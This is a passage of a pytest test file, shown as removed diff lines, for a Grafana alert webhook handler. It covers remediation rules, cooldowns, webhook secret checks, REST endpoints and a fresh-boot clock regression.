handler.add_rule(RemediationRule(id="r1", name_pattern="*")) - assert len(handler.rules) == 1 - assert handler.rules[0].id == "r1" - - def test_add_duplicate_rule(self): - handler = GrafanaAlertHandler() - handler.add_rule(RemediationRule(id="r1", name_pattern="*")) - with pytest.raises(ValueError, match="already exists"): - handler.add_rule(RemediationRule(id="r1", name_pattern="*")) - - def test_remove_rule(self): - handler = GrafanaAlertHandler() - handler.add_rule(RemediationRule(id="r1", name_pattern="*")) - assert handler.remove_rule("r1") is True - assert handler.rules == [] - - def test_remove_nonexistent_rule(self): - handler = GrafanaAlertHandler() - assert handler.remove_rule("nope") is False - - def test_get_rule(self): - handler = GrafanaAlertHandler() - handler.add_rule(RemediationRule(id="r1", name_pattern="Test*")) - rule = handler.get_rule("r1") - assert rule is not None - assert rule.name_pattern == "Test*" - - def test_get_rule_not_found(self): - handler = GrafanaAlertHandler() - assert handler.get_rule("nope") is None - - def test_get_rules_list(self): - handler = GrafanaAlertHandler() - handler.add_rule(RemediationRule(id="r1", name_pattern="A*", mode="act")) - rules = handler.get_rules_list() - assert len(rules) == 1 - assert rules[0]["id"] == "r1" - assert rules[0]["name_pattern"] == "A*" - assert rules[0]["mode"] == "act" - - -# --------------------------------------------------------------------------- -# GrafanaAlertHandler — process_alerts -# --------------------------------------------------------------------------- - - -class TestProcessAlerts: - def _handler(self, **kwargs): - defaults = dict(auto_remediate=True, cooldown_seconds=0) - defaults.update(kwargs) - return GrafanaAlertHandler(**defaults) - - def _firing(self, name="HighCPU", fp="fp1"): - return GrafanaAlert( - fingerprint=fp, status="firing", alert_name=name, - labels={"severity": "critical"}, annotations={}, - starts_at="", ends_at="", generator_url="", - silence_url="", dashboard_url="", panel_url="", - values={}, severity="critical", instance="web-1", - summary="Alert", description="", - ) - - def _resolved(self, fp="fp1"): - return GrafanaAlert( - fingerprint=fp, status="resolved", alert_name="HighCPU", - labels={}, annotations={}, starts_at="", ends_at="", - generator_url="", silence_url="", dashboard_url="", panel_url="", - values={}, severity="critical", instance="", summary="", description="", - ) - - def test_firing_matches_rule(self): - handler = self._handler() - handler.add_rule(RemediationRule(id="r1", name_pattern="High*")) - matches = handler.process_alerts([self._firing()]) - assert len(matches) == 1 - assert matches[0][0].alert_name == "HighCPU" - assert matches[0][1].id == "r1" - - def test_resolved_no_match(self): - handler = self._handler() - handler.add_rule(RemediationRule(id="r1", name_pattern="*")) - matches = handler.process_alerts([self._resolved()]) - assert matches == [] - - def test_no_auto_remediate(self): - handler = GrafanaAlertHandler(auto_remediate=False) - handler.add_rule(RemediationRule(id="r1", name_pattern="*")) - matches = handler.process_alerts([self._firing()]) - assert matches == [] - - def test_no_matching_rule(self): - handler = self._handler() - handler.add_rule(RemediationRule(id="r1", name_pattern="DiskFull")) - matches = handler.process_alerts([self._firing("HighCPU")]) - assert matches == [] - - def test_cooldown_prevents_duplicate(self): - handler = self._handler(cooldown_seconds=300) - handler.add_rule(RemediationRule(id="r1", name_pattern="*", cooldown_seconds=300)) - matches1 = handler.process_alerts([self._firing()]) - assert len(matches1) == 1 - matches2 = handler.process_alerts([self._firing()]) - assert matches2 == [] - - def test_max_concurrent_limit(self): - handler = self._handler(max_concurrent=1) - handler.add_rule(RemediationRule(id="r1", name_pattern="*")) - handler.record_remediation(self._firing(fp="fp1"), handler.rules[0], "loop1") - matches = handler.process_alerts([self._firing("HighMem", "fp2")]) - assert matches == [] - - def test_first_matching_rule_wins(self): - handler = self._handler() - handler.add_rule(RemediationRule(id="r1", name_pattern="High*", remediation_goal="A")) - handler.add_rule(RemediationRule(id="r2", name_pattern="*", remediation_goal="B")) - matches = handler.process_alerts([self._firing()]) - assert len(matches) == 1 - assert matches[0][1].id == "r1" - - def test_alert_history_recorded(self): - handler = self._handler() - handler.process_alerts([self._firing(), self._resolved()]) - assert len(handler.alert_history) == 2 - assert handler.alert_history[0]["alert_name"] == "HighCPU" - assert handler.alert_history[0]["status"] == "firing" - assert handler.alert_history[1]["status"] == "resolved" - - def test_stats_updated(self): - handler = self._handler() - handler.add_rule(RemediationRule(id="r1", name_pattern="*")) - handler.process_alerts([self._firing()]) - status = handler.get_status() - assert status["alerts_received"] == 1 - assert status["rules_matched"] == 1 - - -# --------------------------------------------------------------------------- -# Remediation tracking -# --------------------------------------------------------------------------- - - -class TestRemediationTracking: - def _handler(self): - return GrafanaAlertHandler(auto_remediate=True, cooldown_seconds=0) - - def _alert(self, fp="fp1"): - return GrafanaAlert( - fingerprint=fp, status="firing", alert_name="Test", - labels={}, annotations={}, starts_at="", ends_at="", - generator_url="", silence_url="", dashboard_url="", panel_url="", - values={}, severity="critical", instance="", summary="", description="", - ) - - def test_record_remediation(self): - handler = self._handler() - rule = RemediationRule(id="r1", name_pattern="*") - handler.record_remediation(self._alert(), rule, "loop1") - rems = handler.get_remediations_list() - assert len(rems) == 1 - assert rems[0]["loop_id"] == "loop1" - assert rems[0]["rule_id"] == "r1" - assert rems[0]["status"] == "running" - - def test_update_remediation_status(self): - handler = self._handler() - rule = RemediationRule(id="r1", name_pattern="*") - handler.record_remediation(self._alert(), rule, "loop1") - handler.update_remediation_status("loop1", "completed") - rems = handler.get_remediations_list() - assert rems[0]["status"] == "completed" - - def test_update_nonexistent(self): - handler = self._handler() - handler.update_remediation_status("nope", "error") # no-op, no crash - - def test_resolved_marks_remediation_completed(self): - handler = self._handler() - rule = RemediationRule(id="r1", name_pattern="*") - handler.record_remediation(self._alert(fp="fp1"), rule, "loop1") - resolved = GrafanaAlert( - fingerprint="fp1", status="resolved", alert_name="Test", - labels={}, annotations={}, starts_at="", ends_at="", - generator_url="", silence_url="", dashboard_url="", panel_url="", - values={}, severity="", instance="", summary="", description="", - ) - handler.process_alerts([resolved]) - rems = handler.get_remediations_list() - assert rems[0]["status"] == "completed" - - def test_cleanup_old_remediations(self): - handler = self._handler() - rule = RemediationRule(id="r1", name_pattern="*") - handler.record_remediation(self._alert(), rule, "loop1") - handler.update_remediation_status("loop1", "completed") - handler._remediations["loop1"].started_at = time.monotonic() - 7200 - removed = handler.cleanup_old_remediations() - assert removed == 1 - assert handler.get_remediations_list() == [] - - def test_cleanup_skips_running(self): - handler = self._handler() - rule = RemediationRule(id="r1", name_pattern="*") - handler.record_remediation(self._alert(), rule, "loop1") - handler._remediations["loop1"].started_at = time.monotonic() - 7200 - removed = handler.cleanup_old_remediations() - assert removed == 0 - - def test_stats_remediations_spawned(self): - handler = self._handler() - rule = RemediationRule(id="r1", name_pattern="*") - handler.record_remediation(self._alert(), rule, "loop1") - assert handler.get_status()["remediations_spawned"] == 1 - assert handler.get_status()["active_remediations"] == 1 - - -# --------------------------------------------------------------------------- -# RemediationRule dataclass -# --------------------------------------------------------------------------- - - -class TestRemediationRule: - def test_defaults(self): - rule = RemediationRule(id="r1", name_pattern="*") - assert rule.enabled is True - assert rule.mode == "notify" - assert rule.interval_seconds == DEFAULT_REMEDIATION_INTERVAL - assert rule.max_iterations == DEFAULT_REMEDIATION_MAX_ITER - assert rule.cooldown_seconds == DEFAULT_COOLDOWN_SECONDS - - def test_custom(self): - rule = RemediationRule( - id="custom", name_pattern="DiskFull*", - label_matchers={"env": "prod"}, - severity_filter=["critical"], - remediation_goal="Cleanup", - mode="act", - interval_seconds=60, - max_iterations=5, - cooldown_seconds=600, - enabled=False, - ) - assert rule.id == "custom" - assert rule.label_matchers == {"env": "prod"} - assert rule.enabled is False - - -# --------------------------------------------------------------------------- -# GrafanaAlert dataclass -# --------------------------------------------------------------------------- - - -class TestGrafanaAlertDataclass: - def test_fields(self): - alert = GrafanaAlert( - fingerprint="fp", status="firing", alert_name="Test", - labels={"a": "b"}, annotations={"c": "d"}, - starts_at="2026-01-01", ends_at="", generator_url="http://g", - silence_url="http://s", dashboard_url="http://d", panel_url="http://p", - values={"x": 1}, severity="critical", instance="host:9090", - summary="summary", description="desc", - ) - assert alert.fingerprint == "fp" - assert alert.labels == {"a": "b"} - assert alert.severity == "critical" - assert alert.received_at > 0 - - -# --------------------------------------------------------------------------- -# Constants -# --------------------------------------------------------------------------- - - -class TestConstants: - def test_max_alert_history(self): - assert MAX_ALERT_HISTORY == 200 - - def test_max_concurrent_remediations(self): - assert MAX_CONCURRENT_REMEDIATIONS == 5 - - def test_default_cooldown(self): - assert DEFAULT_COOLDOWN_SECONDS == 300 - - def test_default_interval(self): - assert DEFAULT_REMEDIATION_INTERVAL == 30 - - def test_default_max_iter(self): - assert DEFAULT_REMEDIATION_MAX_ITER == 10 - - def test_max_annotation_len(self): - assert MAX_ANNOTATION_LEN == 1000 - - def test_max_label_value_len(self): - assert MAX_LABEL_VALUE_LEN == 500 - - -# --------------------------------------------------------------------------- -# Health server Grafana integration -# --------------------------------------------------------------------------- - - -# PR #18: grafana webhook now fails closed when no secret is -# configured. The integration tests default to a non-empty test secret -# and pass the corresponding header on each POST. The explicit -# auth-required test overrides this and verifies both paths. -_TEST_WEBHOOK_SECRET = "test-webhook-secret" -_TEST_WEBHOOK_HEADERS = {"X-Webhook-Secret": _TEST_WEBHOOK_SECRET} - - -def _make_grafana_server( - *, rules=None, auto_remediate=False, webhook_secret=_TEST_WEBHOOK_SECRET, -): - wh_cfg = WebhookConfig(enabled=True, secret=webhook_secret, grafana_channel_id="chan1") - ga_cfg = GrafanaAlertConfig( - auto_remediate=auto_remediate, - rules=[ - GrafanaRemediationRuleConfig( - id=r["id"], name_pattern=r["name_pattern"], - remediation_goal=r.get("remediation_goal", ""), - mode=r.get("mode", "notify"), - ) - for r in (rules or []) - ], - ) - server = HealthServer( - port=0, webhook_config=wh_cfg, grafana_alert_config=ga_cfg, - ) - server.set_ready(True) - return server - - -class TestHealthServerGrafanaIntegration: - @pytest.mark.parametrize("legacy_enabled", [False, True]) - def test_removed_switch_never_changes_handler_construction(self, legacy_enabled): - """Both historical values construct the same fully configured handler.""" - cfg = GrafanaAlertConfig.model_validate({ - "enabled": legacy_enabled, - "auto_remediate": True, - "cooldown_seconds": 612, - "max_concurrent_remediations": 4, - "rules": [{ - "id": "legacy-rule", - "name_pattern": "High*", - "remediation_goal": "Inspect load", - "mode": "act", - }], - }) - - server = HealthServer( - port=0, - webhook_config=WebhookConfig(enabled=False), - grafana_alert_config=cfg, - ) - status = server.grafana_handler.get_status() - - assert not hasattr(cfg, "enabled") - assert status["auto_remediate"] is True - assert status["cooldown_seconds"] == 612 - assert status["max_concurrent"] == 4 - assert [rule.id for rule in server.grafana_handler.rules] == ["legacy-rule"] - - async def test_grafana_handler_created(self): - server = _make_grafana_server() - assert server.grafana_handler is not None - - async def test_grafana_handler_has_rules_from_config(self): - server = _make_grafana_server( - rules=[{"id": "r1", "name_pattern": "High*"}], - auto_remediate=True, - ) - assert len(server.grafana_handler.rules) == 1 - assert server.grafana_handler.rules[0].id == "r1" - - async def test_webhook_parses_unified_alerts(self): - server = _make_grafana_server() - sent = [] - server.set_send_message(AsyncMock(side_effect=lambda ch, txt: sent.append(txt))) - - payload = _unified_payload(_firing_alert()) - async with TestClient(TestServer(server._app)) as client: - resp = await client.post( - "/webhook/grafana", - json=payload, - headers=_TEST_WEBHOOK_HEADERS, - ) - assert resp.status == 200 - assert len(sent) == 1 - assert "HighCPU" in sent[0] - assert "firing" in sent[0] - assert "web-1:9090" in sent[0] - - async def test_webhook_parses_legacy_alerts(self): - server = _make_grafana_server() - sent = [] - server.set_send_message(AsyncMock(side_effect=lambda ch, txt: sent.append(txt))) - - async with TestClient(TestServer(server._app)) as client: - resp = await client.post( - "/webhook/grafana", - json=_legacy_payload(), - headers=_TEST_WEBHOOK_HEADERS, - ) - assert resp.status == 200 - assert len(sent) == 1 - assert "Disk Full" in sent[0] - - async def test_webhook_spawns_remediation(self): - server = _make_grafana_server( - rules=[{"id": "r1", "name_pattern": "High*", "remediation_goal": "Fix it"}], - auto_remediate=True, - ) - sent = [] - server.set_send_message(AsyncMock(side_effect=lambda ch, txt: sent.append(txt))) - loop_callback = AsyncMock(return_value="loop123") - server.set_loop_spawn_callback(loop_callback) - - payload = _unified_payload(_firing_alert()) - async with TestClient(TestServer(server._app)) as client: - resp = await client.post( - "/webhook/grafana", json=payload, - headers=_TEST_WEBHOOK_HEADERS, - ) - assert resp.status == 200 - - loop_callback.assert_called_once() - assert "loop123" in sent[0] - assert server.grafana_handler.get_status()["remediations_spawned"] == 1 - - async def test_webhook_no_spawn_without_callback(self): - server = _make_grafana_server( - rules=[{"id": "r1", "name_pattern": "*"}], - auto_remediate=True, - ) - sent = [] - server.set_send_message(AsyncMock(side_effect=lambda ch, txt: sent.append(txt))) - - payload = _unified_payload(_firing_alert()) - async with TestClient(TestServer(server._app)) as client: - resp = await client.post( - "/webhook/grafana", json=payload, - headers=_TEST_WEBHOOK_HEADERS, - ) - assert resp.status == 200 - assert "remediation" not in sent[0].lower() - - async def test_webhook_spawn_error_doesnt_crash(self): - server = _make_grafana_server( - rules=[{"id": "r1", "name_pattern": "*"}], - auto_remediate=True, - ) - server.set_send_message(AsyncMock()) - server.set_loop_spawn_callback(AsyncMock(side_effect=RuntimeError("boom"))) - - payload = _unified_payload(_firing_alert()) - async with TestClient(TestServer(server._app)) as client: - resp = await client.post( - "/webhook/grafana", json=payload, - headers=_TEST_WEBHOOK_HEADERS, - ) - assert resp.status == 200 - - async def test_webhook_auth_required(self): - server = _make_grafana_server(webhook_secret="mysecret") - server.set_send_message(AsyncMock()) - - payload = _unified_payload(_firing_alert()) - async with TestClient(TestServer(server._app)) as client: - resp = await client.post("/webhook/grafana", json=payload) - assert resp.status == 403 - - resp = await client.post( - "/webhook/grafana", json=payload, - headers={"X-Webhook-Secret": "mysecret"}, - ) - assert resp.status == 200 - - async def test_webhook_invalid_json(self): - server = _make_grafana_server() - server.set_send_message(AsyncMock()) - - async with TestClient(TestServer(server._app)) as client: - resp = await client.post( - "/webhook/grafana", - data=b"not json", - headers={ - "Content-Type": "application/json", - **_TEST_WEBHOOK_HEADERS, - }, - ) - assert resp.status == 400 - - async def test_webhook_resolved_no_remediation(self): - server = _make_grafana_server( - rules=[{"id": "r1", "name_pattern": "*"}], - auto_remediate=True, - ) - sent = [] - server.set_send_message(AsyncMock(side_effect=lambda ch, txt: sent.append(txt))) - loop_callback = AsyncMock(return_value="loop123") - server.set_loop_spawn_callback(loop_callback) - - payload = _unified_payload(_resolved_alert()) - async with TestClient(TestServer(server._app)) as client: - resp = await client.post( - "/webhook/grafana", json=payload, - headers=_TEST_WEBHOOK_HEADERS, - ) - assert resp.status == 200 - loop_callback.assert_not_called() - - async def test_webhook_trigger_callback_called(self): - server = _make_grafana_server() - server.set_send_message(AsyncMock()) - trigger_cb = AsyncMock(return_value=0) - server.set_trigger_callback(trigger_cb) - - payload = _unified_payload(_firing_alert()) - async with TestClient(TestServer(server._app)) as client: - resp = await client.post( - "/webhook/grafana", json=payload, - headers=_TEST_WEBHOOK_HEADERS, - ) - assert resp.status == 200 - trigger_cb.assert_called_once() - call_args = trigger_cb.call_args - assert call_args[0][0] == "grafana" - event_data = call_args[0][1] - assert event_data["event"] == "alert" - assert event_data["alert_name"] == "HighCPU" - assert event_data["firing_count"] == 1 - - async def test_webhook_enriched_event_data(self): - server = _make_grafana_server() - server.set_send_message(AsyncMock()) - trigger_cb = AsyncMock(return_value=0) - server.set_trigger_callback(trigger_cb) - - payload = _unified_payload( - _firing_alert(), _resolved_alert("Other"), - ) - async with TestClient(TestServer(server._app)) as client: - resp = await client.post( - "/webhook/grafana", json=payload, - headers=_TEST_WEBHOOK_HEADERS, - ) - assert resp.status == 200 - event_data = trigger_cb.call_args[0][1] - assert event_data["alert_count"] == 2 - assert event_data["firing_count"] == 1 - assert event_data["resolved_count"] == 1 - assert event_data["severity"] == "critical" - - async def test_webhook_event_data_lists_every_alert_name(self): - server = _make_grafana_server() - server.set_send_message(AsyncMock()) - trigger_cb = AsyncMock(return_value=0) - server.set_trigger_callback(trigger_cb) - - payload = _unified_payload( - _firing_alert("FirstAlert"), _resolved_alert("SecondAlert"), - ) - async with TestClient(TestServer(server._app)) as client: - resp = await client.post( - "/webhook/grafana", json=payload, - headers=_TEST_WEBHOOK_HEADERS, - ) - assert resp.status == 200 - event_data = trigger_cb.call_args[0][1] - assert event_data["alert_name"] == "FirstAlert" - assert event_data["alert_names"] == ["FirstAlert", "SecondAlert"] - assert event_data["severity"] == "critical" - - -# --------------------------------------------------------------------------- -# REST API endpoints -# --------------------------------------------------------------------------- - - -def _make_api_server_with_handler(): - """Create a minimal server with a mock bot for API testing.""" - from aiohttp import web as aio_web - - handler = GrafanaAlertHandler( - auto_remediate=True, cooldown_seconds=0, - ) - handler.add_rule(RemediationRule(id="r1", name_pattern="Test*")) - - bot = MagicMock() - hs = MagicMock() - hs.grafana_handler = handler - bot.health_server = hs - - app = aio_web.Application() - routes = aio_web.RouteTableDef() - - @routes.get("/api/grafana-alerts/status") - async def status(_req): - h = getattr(bot, "health_server", None) - gh = getattr(h, "grafana_handler", None) if h else None - if gh is None: - return aio_web.json_response({"enabled": False}) - return aio_web.json_response({"enabled": True, **gh.get_status()}) - - @routes.get("/api/grafana-alerts/history") - async def history(req): - h = getattr(bot, "health_server", None) - gh = getattr(h, "grafana_handler", None) if h else None - if gh is None: - return aio_web.json_response({"error": "not available"}, status=503) - limit = min(int(req.query.get("limit", "50")), 200) - hist = gh.alert_history[-limit:] - return aio_web.json_response({"alerts": hist, "total": len(gh.alert_history)}) - - @routes.get("/api/grafana-alerts/rules") - async def rules_list(_req): - h = getattr(bot, "health_server", None) - gh = getattr(h, "grafana_handler", None) if h else None - if gh is None: - return aio_web.json_response({"error": "not available"}, status=503) - return aio_web.json_response({"rules": gh.get_rules_list()}) - - @routes.post("/api/grafana-alerts/rules") - async def add_rule(req): - h = getattr(bot, "health_server", None) - gh = getattr(h, "grafana_handler", None) if h else None - if gh is None: - return aio_web.json_response({"error": "not available"}, status=503) - data = await req.json() - rule_id = data.get("id", "") - name_pattern = data.get("name_pattern", "") - if not rule_id or not name_pattern: - return aio_web.json_response({"error": "id and name_pattern required"}, status=400) - try: - rule = RemediationRule(id=rule_id, name_pattern=name_pattern, - remediation_goal=data.get("remediation_goal", "")) - gh.add_rule(rule) - return aio_web.json_response({"ok": True, "rule": rule_id}, status=201) - except ValueError as e: - return aio_web.json_response({"error": str(e)}, status=400) - - @routes.delete("/api/grafana-alerts/rules/{rule_id}") - async def delete_rule(req): - h = getattr(bot, "health_server", None) - gh = getattr(h, "grafana_handler", None) if h else None - if gh is None: - return aio_web.json_response({"error": "not available"}, status=503) - rule_id = req.match_info["rule_id"] - if gh.remove_rule(rule_id): - return aio_web.json_response({"ok": True}) - return aio_web.json_response({"error": "not found"}, status=404) - - @routes.get("/api/grafana-alerts/remediations") - async def remediations(_req): - h = getattr(bot, "health_server", None) - gh = getattr(h, "grafana_handler", None) if h else None - if gh is None: - return aio_web.json_response({"error": "not available"}, status=503) - return aio_web.json_response({"remediations": gh.get_remediations_list()}) - - app.router.add_routes(routes) - return app, handler - - -class TestGrafanaAlertsAPIStatus: - async def test_status_enabled(self): - app, handler = _make_api_server_with_handler() - async with TestClient(TestServer(app)) as client: - resp = await client.get("/api/grafana-alerts/status") - assert resp.status == 200 - data = await resp.json() - assert data["enabled"] is True - assert data["rules_count"] == 1 - assert data["auto_remediate"] is True - - -class TestGrafanaAlertsAPIHistory: - async def test_empty_history(self): - app, handler = _make_api_server_with_handler() - async with TestClient(TestServer(app)) as client: - resp = await client.get("/api/grafana-alerts/history") - assert resp.status == 200 - data = await resp.json() - assert data["alerts"] == [] - assert data["total"] == 0 - - async def test_history_with_alerts(self): - app, handler = _make_api_server_with_handler() - alert = GrafanaAlert( - fingerprint="fp", status="firing", alert_name="Test", - labels={}, annotations={}, starts_at="", ends_at="", - generator_url="", silence_url="", dashboard_url="", panel_url="", - values={}, severity="critical", instance="host", - summary="summary", description="", - ) - handler.process_alerts([alert]) - async with TestClient(TestServer(app)) as client: - resp = await client.get("/api/grafana-alerts/history") - data = await resp.json() - assert data["total"] == 1 - assert data["alerts"][0]["alert_name"] == "Test" - - async def test_history_limit(self): - app, handler = _make_api_server_with_handler() - for i in range(10): - alert = GrafanaAlert( - fingerprint=f"fp{i}", status="firing", alert_name=f"Alert{i}", - labels={}, annotations={}, starts_at="", ends_at="", - generator_url="", silence_url="", dashboard_url="", panel_url="", - values={}, severity="", instance="", summary="", description="", - ) - handler.process_alerts([alert]) - async with TestClient(TestServer(app)) as client: - resp = await client.get("/api/grafana-alerts/history?limit=3") - data = await resp.json() - assert len(data["alerts"]) == 3 - assert data["total"] == 10 - - -class TestGrafanaAlertsAPIRules: - async def test_list_rules(self): - app, handler = _make_api_server_with_handler() - async with TestClient(TestServer(app)) as client: - resp = await client.get("/api/grafana-alerts/rules") - assert resp.status == 200 - data = await resp.json() - assert len(data["rules"]) == 1 - assert data["rules"][0]["id"] == "r1" - - async def test_add_rule(self): - app, handler = _make_api_server_with_handler() - async with TestClient(TestServer(app)) as client: - resp = await client.post( - "/api/grafana-alerts/rules", - json={"id": "r2", "name_pattern": "Disk*", "remediation_goal": "Clean disk"}, - ) - assert resp.status == 201 - data = await resp.json() - assert data["ok"] is True - assert len(handler.rules) == 2 - - async def test_add_rule_missing_fields(self): - app, handler = _make_api_server_with_handler() - async with TestClient(TestServer(app)) as client: - resp = await client.post( - "/api/grafana-alerts/rules", - json={"id": "r2"}, - ) - assert resp.status == 400 - - async def test_add_duplicate_rule(self): - app, handler = _make_api_server_with_handler() - async with TestClient(TestServer(app)) as client: - resp = await client.post( - "/api/grafana-alerts/rules", - json={"id": "r1", "name_pattern": "dup"}, - ) - assert resp.status == 400 - - async def test_delete_rule(self): - app, handler = _make_api_server_with_handler() - async with TestClient(TestServer(app)) as client: - resp = await client.delete("/api/grafana-alerts/rules/r1") - assert resp.status == 200 - data = await resp.json() - assert data["ok"] is True - assert handler.rules == [] - - async def test_delete_nonexistent_rule(self): - app, handler = _make_api_server_with_handler() - async with TestClient(TestServer(app)) as client: - resp = await client.delete("/api/grafana-alerts/rules/nope") - assert resp.status == 404 - - -class TestGrafanaAlertsAPIRemediations: - async def test_empty_remediations(self): - app, handler = _make_api_server_with_handler() - async with TestClient(TestServer(app)) as client: - resp = await client.get("/api/grafana-alerts/remediations") - assert resp.status == 200 - data = await resp.json() - assert data["remediations"] == [] - - async def test_remediations_with_data(self): - app, handler = _make_api_server_with_handler() - alert = GrafanaAlert( - fingerprint="fp", status="firing", alert_name="Test", - labels={}, annotations={}, starts_at="", ends_at="", - generator_url="", silence_url="", dashboard_url="", panel_url="", - values={}, severity="", instance="", summary="", description="", - ) - handler.record_remediation(alert, handler.rules[0], "loop1") - async with TestClient(TestServer(app)) as client: - resp = await client.get("/api/grafana-alerts/remediations") - data = await resp.json() - assert len(data["remediations"]) == 1 - assert data["remediations"][0]["loop_id"] == "loop1" - - -# --------------------------------------------------------------------------- -# Edge cases -# --------------------------------------------------------------------------- - - -class TestEdgeCases: - def test_alert_history_bounded(self): - handler = GrafanaAlertHandler() - for i in range(MAX_ALERT_HISTORY + 50): - alert = GrafanaAlert( - fingerprint=f"fp{i}", status="firing", alert_name=f"A{i}", - labels={}, annotations={}, starts_at="", ends_at="", - generator_url="", silence_url="", dashboard_url="", panel_url="", - values={}, severity="", instance="", summary="", description="", - ) - handler.process_alerts([alert]) - assert len(handler.alert_history) <= MAX_ALERT_HISTORY - - def test_parse_no_labels_key(self): - payload = {"alerts": [{"status": "firing"}]} - alerts = parse_grafana_payload(payload) - assert len(alerts) == 1 - assert alerts[0].alert_name == "Unknown" - assert alerts[0].labels == {} - - def test_parse_null_values(self): - raw = _firing_alert() - raw["values"] = None - raw.pop("valueString", None) - payload = _unified_payload(raw) - alerts = parse_grafana_payload(payload) - assert alerts[0].values == {} - - def test_format_no_severity(self): - alerts = [GrafanaAlert( - fingerprint="fp", status="firing", alert_name="Test", - labels={}, annotations={}, starts_at="", ends_at="", - generator_url="", silence_url="", dashboard_url="", panel_url="", - values={}, severity="unknown", instance="", summary="", description="", - )] - msg = format_alert_message(alerts) - assert "[unknown]" not in msg # unknown severity not shown - - def test_format_description_fallback(self): - alerts = [GrafanaAlert( - fingerprint="fp", status="firing", alert_name="Test", - labels={}, annotations={}, starts_at="", ends_at="", - generator_url="", silence_url="", dashboard_url="", panel_url="", - values={}, severity="", instance="", summary="", - description="Fallback description", - )] - msg = format_alert_message(alerts) - assert "Fallback description" in msg - - def test_handler_rules_list_returns_copy(self): - handler = GrafanaAlertHandler() - handler.add_rule(RemediationRule(id="r1", name_pattern="*")) - rules = handler.rules - rules.clear() - assert len(handler.rules) == 1 - - def test_health_server_no_grafana_config(self): - server = HealthServer(port=0, webhook_config=WebhookConfig(enabled=False)) - assert server.grafana_handler is not None - assert server.grafana_handler.get_status()["auto_remediate"] is False - - def test_loop_spawn_callback_setter(self): - server = _make_grafana_server() - cb = AsyncMock() - server.set_loop_spawn_callback(cb) - assert server._loop_spawn_callback is cb - - def test_remediation_record_dataclass(self): - rec = RemediationRecord( - alert_fingerprint="fp", - alert_name="Test", - rule_id="r1", - loop_id="loop1", - started_at=time.monotonic(), - ) - assert rec.status == "running" - assert rec.loop_id == "loop1" - - def test_parse_many_alerts_truncated(self): - raw_alerts = [_firing_alert(f"Alert{i}", f"host{i}:9090") for i in range(20)] - payload = {"alerts": raw_alerts} - alerts = parse_grafana_payload(payload) - assert len(alerts) == 20 - msg = format_alert_message(alerts) - assert "20 alert(s)" in msg - - def test_cooldown_key_per_rule(self): - handler = GrafanaAlertHandler(auto_remediate=True, cooldown_seconds=300) - handler.add_rule(RemediationRule(id="r1", name_pattern="A*", cooldown_seconds=300)) - handler.add_rule(RemediationRule(id="r2", name_pattern="A*", cooldown_seconds=300)) - alert = GrafanaAlert( - fingerprint="fp", status="firing", alert_name="Alert", - labels={}, annotations={}, starts_at="", ends_at="", - generator_url="", silence_url="", dashboard_url="", panel_url="", - values={}, severity="", instance="", summary="", description="", - ) - matches = handler.process_alerts([alert]) - assert len(matches) == 1 - assert matches[0][1].id == "r1" - - def test_loop_spawn_error_return_skipped(self): - """Error string from loop spawn should not record remediation.""" - server = _make_grafana_server( - rules=[{"id": "r1", "name_pattern": "*"}], - auto_remediate=True, - ) - server.set_send_message(AsyncMock()) - server.set_loop_spawn_callback(AsyncMock(return_value="Error: max loops reached")) - # We can't easily call the webhook in a sync test, but this validates - # the error string check logic indirectly - assert server._loop_spawn_callback is not None - - -# --------------------------------------------------------------------------- -# Module imports -# --------------------------------------------------------------------------- - - -class TestRound20CooldownCleanup: - """Round 20 REVIEWER: verify cooldown entries are cleaned up.""" - - def _make_handler(self, **kwargs): - defaults = {"auto_remediate": True, "cooldown_seconds": 300} - defaults.update(kwargs) - return GrafanaAlertHandler(**defaults) - - def _make_rule(self, **kwargs): - defaults = { - "id": "r1", "name_pattern": "*", "enabled": True, - "cooldown_seconds": 300, "severity_filter": [], - "label_matchers": {}, "remediation_goal": "fix it", - "mode": "act", "interval_seconds": 30, "max_iterations": 10, - } - defaults.update(kwargs) - return RemediationRule(**defaults) - - def test_cleanup_removes_stale_cooldowns(self): - handler = self._make_handler() - rule = self._make_rule() - handler.add_rule(rule) - handler._cooldowns["fp1::r1"] = time.monotonic() - 700 - handler._cooldowns["fp2::r1"] = time.monotonic() - 10 - handler.cleanup_old_remediations() - assert "fp1::r1" not in handler._cooldowns - assert "fp2::r1" in handler._cooldowns - - def test_cleanup_keeps_fresh_cooldowns(self): - handler = self._make_handler() - rule = self._make_rule() - handler.add_rule(rule) - handler._cooldowns["fp1::r1"] = time.monotonic() - 5 - handler.cleanup_old_remediations() - assert "fp1::r1" in handler._cooldowns - - def test_cleanup_removes_both_remediations_and_cooldowns(self): - handler = self._make_handler() - rule = self._make_rule() - handler.add_rule(rule) - handler._cooldowns["fp1::r1"] = time.monotonic() - 700 - handler._remediations["loop1"] = RemediationRecord( - alert_fingerprint="fp1", - alert_name="test", - rule_id="r1", - loop_id="loop1", - started_at=time.monotonic() - 7200, - status="completed", - ) - removed = handler.cleanup_old_remediations() - assert removed >= 2 - assert "fp1::r1" not in handler._cooldowns - assert "loop1" not in handler._remediations - - def test_cleanup_no_rules_uses_default_cooldown(self): - handler = self._make_handler(cooldown_seconds=60) - handler._cooldowns["key1"] = time.monotonic() - 200 - handler._cooldowns["key2"] = time.monotonic() - 5 - handler.cleanup_old_remediations() - assert "key1" not in handler._cooldowns - assert "key2" in handler._cooldowns - - -class TestModuleImports: - def test_grafana_alerts_module(self): - from src.health import grafana_alerts - assert hasattr(grafana_alerts, "GrafanaAlertHandler") - assert hasattr(grafana_alerts, "parse_grafana_payload") - - def test_config_has_grafana_alert_config(self): - from src.config.schema import GrafanaAlertConfig, GrafanaRemediationRuleConfig - assert GrafanaAlertConfig is not None - assert GrafanaRemediationRuleConfig is not None - - -class TestFreshBootClock: - """Regression: a `0` cooldown sentinel on the monotonic clock read as - "on cooldown since boot" — every alert was silently dropped for the - first cooldown window after a host reboot. Caught by the first CI run - on a fresh runner (uptime < cooldown), invisible on long-uptime dev - machines (RFC-003 P0).""" - - def test_never_remediated_alert_matches_on_fresh_boot(self, monkeypatch): - import time as _time - - monkeypatch.setattr(_time, "monotonic", lambda: 10.0) # 10s uptime - handler = GrafanaAlertHandler(auto_remediate=True, cooldown_seconds=300) - handler.add_rule(RemediationRule(id="r1", name_pattern="High*", cooldown_seconds=300)) - alert = GrafanaAlert( - fingerprint="fb1", status="firing", alert_name="HighCPU", - labels={"severity": "critical"}, annotations={}, starts_at="", - ends_at="", generator_url="", silence_url="", dashboard_url="", - panel_url="", values={}, severity="critical", instance="", - summary="", description="", - ) - matches = handler.process_alerts([alert]) - assert len(matches) == 1, "fresh-boot clock must not fake a cooldown" - - 